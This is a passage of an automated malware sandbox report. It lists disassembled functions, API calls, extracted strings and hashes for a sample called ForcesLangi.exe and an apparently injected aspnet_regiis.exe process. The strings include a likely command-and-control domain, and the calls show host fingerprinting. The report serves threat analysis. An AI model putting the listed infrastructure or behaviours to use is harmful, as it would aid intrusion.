Instruction Fuzzy Hash: 0221D1716042256F9B105F668C858ABB7BCAF1536C7245619F4ACA7B45D730FC41CBE0

Function 6CE329A7 Relevance: 6.1, APIs: 4, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,6CE36A37,?,00000001,6CE34E8A,?,6CE36EF1,00000001,?,?,?,6CE34E19,?,00000000), ref: 6CE329AC
_free.LIBCMT ref: 6CE32A09
_free.LIBCMT ref: 6CE32A3F
SetLastError.KERNEL32(00000000,FFFFFFFF,000000FF,?,6CE36EF1,00000001,?,?,?,6CE34E19,?,00000000,00000000,6CE3FB78,0000002C,6CE34E8A), ref: 6CE32A4A

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 2098c9badd962ab94e434845881b313f6ff675ab96698e14fa537d499e436228
Instruction ID: 4d73798edca26e9659cb7cb5ace5f0a2b7cab87b18bd8a6697a9daae2fcf2b9a
Opcode Fuzzy Hash: 2098c9badd962ab94e434845881b313f6ff675ab96698e14fa537d499e436228
Instruction Fuzzy Hash: F41127363451352B9B1105B84C8CE66357A9BD377C735222AF16CC3B81EF31A80AC5E0

Function 6CE32AFE Relevance: 6.1, APIs: 4, Instructions: 69COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00000001,6CE32DD0,6CE32D0D,?,?,6CE321F9), ref: 6CE32B03
_free.LIBCMT ref: 6CE32B60
_free.LIBCMT ref: 6CE32B96
SetLastError.KERNEL32(00000000,FFFFFFFF,000000FF,?,00000001,6CE32DD0,6CE32D0D,?,?,6CE321F9), ref: 6CE32BA1

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: acf56761ac17de2f9bbeff908b6a1e531e0321b96b1366fa9f3788bb7335721a
Instruction ID: e45a30f417e6860ccc17544f9a1af8ea0c0527f9dc4f29de97f4b07aa2d55639
Opcode Fuzzy Hash: acf56761ac17de2f9bbeff908b6a1e531e0321b96b1366fa9f3788bb7335721a
Instruction Fuzzy Hash: A311E7357416362ADB0109695C88E66257AABD377C7341229F16CC3781DF21A809C5A0

Function 6CE37C86 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,?,6CE376E0,?,00000001,?,00000001,?,6CE369C6,?,?,00000001), ref: 6CE37C9D
GetLastError.KERNEL32(?,6CE376E0,?,00000001,?,00000001,?,6CE369C6,?,?,00000001,?,00000001,?,6CE36F12,6CE34E19), ref: 6CE37CA9

Part of subcall function 6CE37C6F: CloseHandle.KERNEL32(FFFFFFFE,6CE37CB9,?,6CE376E0,?,00000001,?,00000001,?,6CE369C6,?,?,00000001,?,00000001), ref: 6CE37C7F

___initconout.LIBCMT ref: 6CE37CB9

Part of subcall function 6CE37C31: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,6CE37C60,6CE376CD,00000001,?,6CE369C6,?,?,00000001,?), ref: 6CE37C44

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,6CE376E0,?,00000001,?,00000001,?,6CE369C6,?,?,00000001,?), ref: 6CE37CCE

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: dd53351206900c1c32c072ddae400f03e15c03225856c80837f46e574a6d6b52
Instruction ID: c5ee740eeaa739be596fe3fdc739f5bd7e32cf6af160e539bc69e6f7ef687cc2
Opcode Fuzzy Hash: dd53351206900c1c32c072ddae400f03e15c03225856c80837f46e574a6d6b52
Instruction Fuzzy Hash: 00F03036640129FBCF226FD5CD04E8A3FB6FB4A3E4B164010FA1CA5620C736A960DF90

Function 6CE31BF5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\ForcesLangi.exe, xrefs: 6CE31C38, 6CE31C3F, 6CE31C75

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID:
String ID: C:\Users\user\Desktop\ForcesLangi.exe
API String ID: 0-1466808870
Opcode ID: bbae7079d354c855fdf4e77d4e562726321b8d69b1730892759dd7a0a9516843
Instruction ID: 8a8e6ead444ac1211679c626dfe85b7a02190bf81a422816594e9e7c571dab4e
Opcode Fuzzy Hash: bbae7079d354c855fdf4e77d4e562726321b8d69b1730892759dd7a0a9516843
Instruction Fuzzy Hash: 0B418271A00229ABCB169BD98884DDEBBF8EFC6718F31106EE418E7740D770EA45C790

Function 6CE2FAC0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 43COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(E06D7363,00000001,00000003,Zl,?,?,?,6CE2EB5A,?,6CE3F86C), ref: 6CE2FB20

Strings

Zl, xrefs: 6CE2FB0D, 6CE2FB10
Zl, xrefs: 6CE2FACB

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID: ExceptionRaise
String ID: Zl$Zl
API String ID: 3997070919-2072720850
Opcode ID: 0b86cc849ebec441a0067b24bedf6a1a7ad1c4b2f9c35cb29ed226395ab89d5e
Instruction ID: a14331206312b36cf44d02ff620a89e8f8d939fa792b3cc97dff39b39e9e6ef7
Opcode Fuzzy Hash: 0b86cc849ebec441a0067b24bedf6a1a7ad1c4b2f9c35cb29ed226395ab89d5e
Instruction Fuzzy Hash: 9801A276A0021CABCB019F58C580BAEBBB8FF44708F314159E915AB790D7B8E900CB90

Analysis Process: aspnet_regiis.exePID: 4820, Parent PID: 6588COMMON

Execution Graph

Execution Coverage:	8.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	59.7%
Total number of Nodes:	481
Total number of Limit Nodes:	35

Executed Functions

Function 00742E6D Relevance: 50.5, APIs: 3, Strings: 25, Instructions: 1504COMMON

Download Yara Rule

Strings

JOSP, xrefs: 00742F6F
- $f, xrefs: 00743038
].n^, xrefs: 00742F57
=]=_, xrefs: 00743D0E
rp, xrefs: 00743FF3
+A#C=]=_, xrefs: 00743F9D
~SS}, xrefs: 00742F37
R03!, xrefs: 00742F77
9#', xrefs: 00743040
eN, xrefs: 007441BA
lev-tolstoi.com, xrefs: 007433BD
g}zh, xrefs: 00742F27
8]pY, xrefs: 00742EFF
CNF8, xrefs: 00742F3F
_^]\, xrefs: 00742EA5
s, xrefs: 00742FCA
Fm, xrefs: 007431F2
Q*RG, xrefs: 00742F5F
"7t, xrefs: 00743719
I, xrefs: 00743048
p7t, xrefs: 007438C0
wdnf, xrefs: 00742F07
%", xrefs: 0074334A
_^]\, xrefs: 00743695
V], xrefs: 007431FA

Memory Dump Source

Source File: 00000002.00000002.1892342569.0000000000721000.00000020.00000400.00020000.00000000.sdmp, Offset: 00720000, based on PE: true

Associated: 00000002.00000002.1892184795.0000000000720000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892502749.0000000000762000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892881210.0000000000765000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1893078830.0000000000773000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_720000_aspnet_regiis.jbxd

Similarity

API ID:
String ID: "7t$%"$+A#C=]=_$- $f$8]pY$9#'$=]=_$CNF8$Fm$I$JOSP$Q*RG$R03!$V]$].n^$_^]\$_^]\$eN$g}zh$lev-tolstoi.com$p7t$s$wdnf$~SS}$rp
API String ID: 0-4093609724
Opcode ID: f31c448eb4fe0e9d3ef91d4e9c040e310fd7184f9ea5414d87c4b6ef60433545
Instruction ID: 9af55455f426ca3eb6c4f93e1716201f8ca0fa7499d2f799f1fe0f67d34b89e5
Opcode Fuzzy Hash: f31c448eb4fe0e9d3ef91d4e9c040e310fd7184f9ea5414d87c4b6ef60433545
Instruction Fuzzy Hash: 8AB225B1A08311CFD714CF28D8917ABBBE2FF85314F19856CE49A9B391D7789901CB91

Function 00759280 Relevance: 33.9, APIs: 11, Strings: 8, Instructions: 653
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(0076368C,00000000,00000001,0076367C,00000000), ref: 007594CF
SysAllocString.OLEAUT32(00001F7A), ref: 00759550
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 0075958E
SysAllocString.OLEAUT32(8DFD93FD), ref: 00759625
SysAllocString.OLEAUT32(4A105420), ref: 00759706
VariantInit.OLEAUT32(?), ref: 00759774
VariantClear.OLEAUT32(?), ref: 007598BC
SysFreeString.OLEAUT32 ref: 007598DF
SysFreeString.OLEAUT32(?), ref: 007598E5
SysFreeString.OLEAUT32(00000000), ref: 007598F6
GetVolumeInformationW.KERNELBASE(?,00000000,00000000,00001F7A,00000000,00000000,00000000,00000000), ref: 0075992E

Strings

SB, xrefs: 0075979E
:;$%, xrefs: 007599C0
gd, xrefs: 0075968E
t"j, xrefs: 0075966E
O^, xrefs: 007597A6
Jtuj, xrefs: 007592E5
b{tu, xrefs: 007592D9, 0075939B
=hn, xrefs: 00759676

Memory Dump Source

Source File: 00000002.00000002.1892342569.0000000000721000.00000020.00000400.00020000.00000000.sdmp, Offset: 00720000, based on PE: true

Associated: 00000002.00000002.1892184795.0000000000720000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892502749.0000000000762000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892881210.0000000000765000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1893078830.0000000000773000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_720000_aspnet_regiis.jbxd

Similarity

API ID: String$AllocFree$Variant$BlanketClearCreateInformationInitInstanceProxyVolume
String ID: :;$%$=hn$Jtuj$O^$SB$b{tu$gd$t"j
API String ID: 2573436264-1335595022
Opcode ID: ed79fd50b3388aaae2a7b13bff3d11354feb211db28a2ac1f30cc387d22096ad
Instruction ID: cba5e0853bd06c54a2cb4384677a3f40a87ebf3c6abc0aa8d7a6295bb0c3523e
Opcode Fuzzy Hash: ed79fd50b3388aaae2a7b13bff3d11354feb211db28a2ac1f30cc387d22096ad
Instruction Fuzzy Hash: 60222676A083519BD310CF24C880B9BBBE2EFC5315F18892CFA9597391D7B9D945CB82

Function 007357C0 Relevance: 29.7, APIs: 1, Strings: 15, Instructions: 1713COMMON

Download Yara Rule

Strings

uqrs, xrefs: 00736AF0
_^]\, xrefs: 00735B14
S\], xrefs: 007359EE
w}MI, xrefs: 00736128
L4, xrefs: 00736780
WQ, xrefs: 007359E3
~mfQ, xrefs: 0073613E
*,-", xrefs: 007366EF
L4, xrefs: 00736BA0
ntxE, xrefs: 00736112
{zdy, xrefs: 0073611D
3F&D, xrefs: 00736273
qRb`, xrefs: 00736133
t~v:, xrefs: 007361E7
pt}w, xrefs: 007361F2

Memory Dump Source

Source File: 00000002.00000002.1892342569.0000000000721000.00000020.00000400.00020000.00000000.sdmp, Offset: 00720000, based on PE: true

Associated: 00000002.00000002.1892184795.0000000000720000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892502749.0000000000762000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892881210.0000000000765000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1893078830.0000000000773000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_720000_aspnet_regiis.jbxd

Similarity

API ID:
String ID: *,-"$3F&D$_^]\$ntxE$pt}w$qRb`$t~v:$uqrs$w}MI${zdy$~mfQ$S\]$WQ$L4$L4
API String ID: 0-510280711
Opcode ID: 5d19576bcd517124df7ded3150a925184391655d591a9d05c152fc6523213cb0
Instruction ID: c83a7e81de91ce9110027e6719765f5c9d3ff1aac06e4446ac5be3bca19ef9a5
Opcode Fuzzy Hash: 5d19576bcd517124df7ded3150a925184391655d591a9d05c152fc6523213cb0
Instruction Fuzzy Hash: B9C248B1608350DFD7248F28D8957ABB7E1FF95314F59893CE4DA8B292E7389801CB52

Function 007439B9 Relevance: 18.3, APIs: 3, Strings: 7, Instructions: 821
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

":t, xrefs: 00743A0E
rp, xrefs: 00743FF3
+A#C=]=_, xrefs: 00743F9D
eN, xrefs: 007441BA
_^]\, xrefs: 00743865
p7t, xrefs: 007438C0
=]=_, xrefs: 00743D0E

Memory Dump Source

Source File: 00000002.00000002.1892342569.0000000000721000.00000020.00000400.00020000.00000000.sdmp, Offset: 00720000, based on PE: true

Associated: 00000002.00000002.1892184795.0000000000720000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892502749.0000000000762000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892881210.0000000000765000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1893078830.0000000000773000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_720000_aspnet_regiis.jbxd

Similarity

API ID:
String ID: ":t$+A#C=]=_$=]=_$_^]\$eN$p7t$rp
API String ID: 0-1551846742
Opcode ID: b369ce7e0940ecf50619161834e8b2f4c2e832bd7256fd4fa4f26ddd45bbe622
Instruction ID: 4f69a35749ae385a665242d39d02e6a1d9d62c7081d03ebae5d0438a442ec85f
Opcode Fuzzy Hash: b369ce7e0940ecf50619161834e8b2f4c2e832bd7256fd4fa4f26ddd45bbe622
Instruction Fuzzy Hash: 9C4216B5A04311CFD718CF68D8916AABBB2FF89310F19C2ACD4469B395D778D942CB90

Function 00731227 Relevance: 16.5, APIs: 1, Strings: 8, Instructions: 750
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

F, xrefs: 0073184E
@, xrefs: 007317D0
`, xrefs: 007313A4
>, xrefs: 007316FF
L, xrefs: 00731846
), xrefs: 00731A4D
[, xrefs: 00731555
+, xrefs: 007317CB

Memory Dump Source

Source File: 00000002.00000002.1892342569.0000000000721000.00000020.00000400.00020000.00000000.sdmp, Offset: 00720000, based on PE: true

Associated: 00000002.00000002.1892184795.0000000000720000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892502749.0000000000762000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892881210.0000000000765000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1893078830.0000000000773000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_720000_aspnet_regiis.jbxd

Similarity

API ID:
String ID: )$+$>$@$F$L$[$`
API String ID: 0-4163809010
Opcode ID: e25e23813288d8cced58a27095851c3eeeb31bf1d7099d7c09e10be87b42a0d9
Instruction ID: fb99c8f8fb3ea83f1730e638e1123c0c0cbab8f99a86cd9cad2e40fe1f90ef0c
Opcode Fuzzy Hash: e25e23813288d8cced58a27095851c3eeeb31bf1d7099d7c09e10be87b42a0d9
Instruction Fuzzy Hash: 8F52A17260C7908BD324DB38C5953AFBBE1AB95320F598A2DE4D9C7382D6788941CB43

Function 00728600 Relevance: 14.4, APIs: 5, Strings: 3, Instructions: 351
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 00728624
GetCurrentThreadId.KERNEL32 ref: 0072862E
SHGetSpecialFolderPathW.SHELL32(00000000,?,00000010,00000000), ref: 007287FA
GetForegroundWindow.USER32 ref: 00728974

Part of subcall function 0072B7B0: FreeLibrary.KERNEL32(00728A31), ref: 0072B7B6
Part of subcall function 0072B7B0: FreeLibrary.KERNEL32 ref: 0072B7D7

ExitProcess.KERNEL32 ref: 00728A4A

Strings

}, xrefs: 00728913
b]u), xrefs: 00728877
}, xrefs: 0072890C

Memory Dump Source

Source File: 00000002.00000002.1892342569.0000000000721000.00000020.00000400.00020000.00000000.sdmp, Offset: 00720000, based on PE: true

Associated: 00000002.00000002.1892184795.0000000000720000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892502749.0000000000762000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892881210.0000000000765000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1893078830.0000000000773000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_720000_aspnet_regiis.jbxd

Similarity

API ID: CurrentFreeLibraryProcess$ExitFolderForegroundPathSpecialThreadWindow
String ID: b]u)$}$}
API String ID: 3676751680-2900034282
Opcode ID: 01bf413a82cac4f2cb28100926ba03fbfcf0c592c6adf4d66b2537c6f1fc0c2d
Instruction ID: 7c36a2c56b07705ea1e7d7fdaef0cae537cb7bae96adcd75ec73db4e1aa8cc05
Opcode Fuzzy Hash: 01bf413a82cac4f2cb28100926ba03fbfcf0c592c6adf4d66b2537c6f1fc0c2d
Instruction Fuzzy Hash: C0C1F673E187144BC708DF69D84125AF7D6ABC8710F0EC52EA898EB351EA78DD048BC6

Function 0074D34A Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 398
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 0074D3EE

Strings

><+, xrefs: 0074D353

Memory Dump Source

Source File: 00000002.00000002.1892342569.0000000000721000.00000020.00000400.00020000.00000000.sdmp, Offset: 00720000, based on PE: true

Associated: 00000002.00000002.1892184795.0000000000720000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892502749.0000000000762000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892881210.0000000000765000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1893078830.0000000000773000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_720000_aspnet_regiis.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: ><+
API String ID: 3960555810-2918635699
Opcode ID: 584c3a034909a9cbae7d827595797129ea116f9af029e91f8489cfb80e232744
Instruction ID: 14292a18f56717f549c806981e73528c3246c7e51c8066ed6dc420073e0a1ed3
Opcode Fuzzy Hash: 584c3a034909a9cbae7d827595797129ea116f9af029e91f8489cfb80e232744
Instruction Fuzzy Hash: 0CC1D1756047818FD725CF2AC490762FBE2BF9A310F29859DC4DA8B792C739E806CB50

Function 00760D20 Relevance: 2.9, Strings: 2, Instructions: 425COMMON

Download Yara Rule

Strings

@Ukx, xrefs: 00760F53
, xrefs: 00760DC3, 00760EAB

Memory Dump Source

Source File: 00000002.00000002.1892342569.0000000000721000.00000020.00000400.00020000.00000000.sdmp, Offset: 00720000, based on PE: true

Associated: 00000002.00000002.1892184795.0000000000720000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892502749.0000000000762000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892881210.0000000000765000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1893078830.0000000000773000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_720000_aspnet_regiis.jbxd

Similarity

API ID: InitializeThunk
String ID: @Ukx$
API String ID: 2994545307-3636270652
Opcode ID: 026b607482578f1019abe5e46be1872548a1e29201f821c014a05b659442353d
Instruction ID: 0f46cd281f8ac787a4069f7b9ccceb0cbbe6edb1e7b44d1faa626cc3251d9b00
Opcode Fuzzy Hash: 026b607482578f1019abe5e46be1872548a1e29201f821c014a05b659442353d
Instruction Fuzzy Hash: A2B14532B087504BC728CE28D8D52ABB7A2EBC5314F1DCA3CDD975B395DA399C058B91

Function 0075E110 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(0076148A,00000002,00000018,?,?,00000018,?,?,?), ref: 0075E13E

Memory Dump Source

Source File: 00000002.00000002.1892342569.0000000000721000.00000020.00000400.00020000.00000000.sdmp, Offset: 00720000, based on PE: true

Associated: 00000002.00000002.1892184795.0000000000720000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892502749.0000000000762000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892881210.0000000000765000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1893078830.0000000000773000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_720000_aspnet_regiis.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 00747440 Relevance: 1.5, Strings: 1, Instructions: 264COMMON

Download Yara Rule

Strings

_^]\, xrefs: 00747465

Memory Dump Source

Source File: 00000002.00000002.1892342569.0000000000721000.00000020.00000400.00020000.00000000.sdmp, Offset: 00720000, based on PE: true

Associated: 00000002.00000002.1892184795.0000000000720000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892502749.0000000000762000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892881210.0000000000765000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1893078830.0000000000773000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_720000_aspnet_regiis.jbxd

Similarity

API ID: InitializeThunk
String ID: _^]\
API String ID: 2994545307-3116432788
Opcode ID: c1e0b65b52bd6cc254146d12dea5bcf22822990074bc5839f54ce0563f909ad6
Instruction ID: 2884cda12d421904cd04ed16978f01c895a064f56fb8cf9afbb2228bb5028a21
Opcode Fuzzy Hash: c1e0b65b52bd6cc254146d12dea5bcf22822990074bc5839f54ce0563f909ad6
Instruction Fuzzy Hash: ED7126B1A0C3005BD71C9E28DC92B7BB6A2DF81318F19883CE4869B292E37CDC15C756

Function 00761720 Relevance: 1.4, Strings: 1, Instructions: 158COMMON

Download Yara Rule

Strings

=<32, xrefs: 0076176D

Memory Dump Source

Source File: 00000002.00000002.1892342569.0000000000721000.00000020.00000400.00020000.00000000.sdmp, Offset: 00720000, based on PE: true

Associated: 00000002.00000002.1892184795.0000000000720000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892502749.0000000000762000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892881210.0000000000765000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1893078830.0000000000773000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_720000_aspnet_regiis.jbxd

Similarity

API ID: InitializeThunk
String ID: =<32
API String ID: 2994545307-852023076
Opcode ID: e9baa35bf90bcf2afab3228fd7698d483301c12e6d1c6e14e4e41388649c6bb7
Instruction ID: 0a30d7b931f42d0a339c5be185d048529e62c3664ebdd53c7235d11cfb58299d
Opcode Fuzzy Hash: e9baa35bf90bcf2afab3228fd7698d483301c12e6d1c6e14e4e41388649c6bb7
Instruction Fuzzy Hash: 43314834604305ABE7149E14DC95B7FB3A5EB84760F5C852CED86972E0D778DC809782

Function 00741A10 Relevance: 1.4, Strings: 1, Instructions: 107COMMON

Download Yara Rule

Strings

,-, xrefs: 00741A64

Memory Dump Source

Source File: 00000002.00000002.1892342569.0000000000721000.00000020.00000400.00020000.00000000.sdmp, Offset: 00720000, based on PE: true

Associated: 00000002.00000002.1892184795.0000000000720000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892502749.0000000000762000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892881210.0000000000765000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1893078830.0000000000773000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_720000_aspnet_regiis.jbxd

Similarity

API ID:
String ID: ,-
API String ID: 0-1027024164
Opcode ID: 772652a312bc01ea33eb150ba92d2694d37d3bfd7bdd312528b1b0a6296dc8da
Instruction ID: 2bde2d3c8e733567f3868ddba02a77613ace95a2600cbae71d26fe70d6801272
Opcode Fuzzy Hash: 772652a312bc01ea33eb150ba92d2694d37d3bfd7bdd312528b1b0a6296dc8da
Instruction Fuzzy Hash: 052137A1A15300CBC714AF29CD52537B7B1EF82361F89C618E4968B351F778CD45C7A2

Function 00760340 Relevance: 1.4, Strings: 1, Instructions: 103COMMON

Download Yara Rule

Strings

@, xrefs: 007603AD

Memory Dump Source

Source File: 00000002.00000002.1892342569.0000000000721000.00000020.00000400.00020000.00000000.sdmp, Offset: 00720000, based on PE: true

Associated: 00000002.00000002.1892184795.0000000000720000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892502749.0000000000762000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892881210.0000000000765000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1893078830.0000000000773000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_720000_aspnet_regiis.jbxd

Similarity

API ID: InitializeThunk
String ID: @
API String ID: 2994545307-2766056989
Opcode ID: a65b8c1dde3c5ee8c3ab5f10e2118beb55ac1d23edcd2cbd321e38be4076f717
Instruction ID: 344e78634db6e978fb65e4565f8591c19a025dccd7c1226a56fa01c4f10d41ab
Opcode Fuzzy Hash: a65b8c1dde3c5ee8c3ab5f10e2118beb55ac1d23edcd2cbd321e38be4076f717
